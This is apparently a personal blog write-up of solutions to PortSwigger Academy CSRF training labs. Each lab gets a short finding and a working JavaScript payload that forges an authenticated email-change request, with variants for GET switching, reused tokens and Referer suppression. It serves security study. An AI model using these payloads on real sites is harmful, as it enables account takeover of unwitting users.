PortSwigger Academy - CSRF Labs
- Avraham Cohen
- Jun 21, 2021
- 2 min read
Updated: Jun 22, 2021
Studying for my eLearnSecurity eWPTX exam I decided to solve the CSRF labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge.
Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.
Here is a list of the labs from Apprentice to Practitioner level:
You can find the lab list at the following link
Research: Intercept the Update email request and observe there is a missing CSRF token and Referer validation.
Payload: Use the exploit server and inject the below code.
<script>
var req= new XMLHttpRequest();
req.open('post', 'https://<Lab-ID>.web-
security-academy.net/my-account/change-email', true);
req.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");
req.withCredentials = true;
req.send('email=hacked@hacked.com');
</script>
Research: Intercept the Update email request and observe there is a missing CSRF token and Referer validation. Moreover, the CSRF token is not considered when we change the request method from POST to GET.
Payload:
<script>
var req= new XMLHttpRequest();
req.open('get', 'https://<Lab-ID>.web-security-academy.net/my-account/change-email?email=hacked@hacked.com', true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.withCredentials = true;
req.send();
</script>
Research: I am not sure if this lab has a bug but simple CSRF payload will solve it.
Payload:
<script>
var req= new XMLHttpRequest();
req.open('post', 'https://<Lab-ID>.web-security-academy.net/my-account/change-email', true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.withCredentials = true;
req.send('email=hacked@hacked.com');
</script>
Research: Login as the first user and grab the CSRF token from the my-account page, then login as the second user and intercept the change-email request and modify the CSRF token.
Conclusion: CSRF tokens are generated incrementally.
Payload:
<script>
var req= new XMLHttpRequest();
req.open('post', 'https://<Lab-ID>.web-security-academy.net/my-account/change-email', true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.withCredentials = true;
req.send('email=hacked@hacked.com&csrf=<Reuse CSRF from another user>');
</script>
Research: Login as any user and copy the CSRF token, then craft a malicious request like the one below and execute on another user.
Payload:
<script>
var req = new XMLHttpRequest();
req.open('post', 'https://<Lab-ID>.web-security-academy.net/my-account/change-email', true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.withCredentials = true;
req.send('email=hacked@hacked.com&csrf=dRWL7cbgnqiBQrpaKhyJxNBO2NQLfFqN');
</script>
Research: Missing CSRF server-side validation, you can observe it while keep the CSRF cookie and the CSRF token in the same structure/value.
Payload:
<script>
var req= new XMLHttpRequest();
req.open('post', 'https://<Lab-ID>.web-security-academy.net/my-account/change-email', true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.withCredentials = true;
req.send('email=hacked@hacked.com&csrf=DUBZpcuGC7SfyML8cqLXuAx0pitN1xnd');
</script>
Research: If the Referer header is not present then there is no validation.
Payload:
<meta name="referrer" content="no-referrer">
<script>
var req = new XMLHttpRequest();
req.open('post', 'https://<Lab-ID>.web-security-academy.net/my-account/change-email', true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.withCredentials = true;
req.send('email=hacked@hacked.com');
</script>
Research: Intercept the change-email request and observe the referer header validation is broken.
Payload: Open the exploit server and set the filename as the lab URL.

Then use the same exploit as the previous labs.
<script>
var req = new XMLHttpRequest();
req.open('post', 'https://<Lab-ID>.web-security-academy.net/my-account/change-email', true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.withCredentials = true;
req.send('email=hacked@hacked.com');
</script>
Comments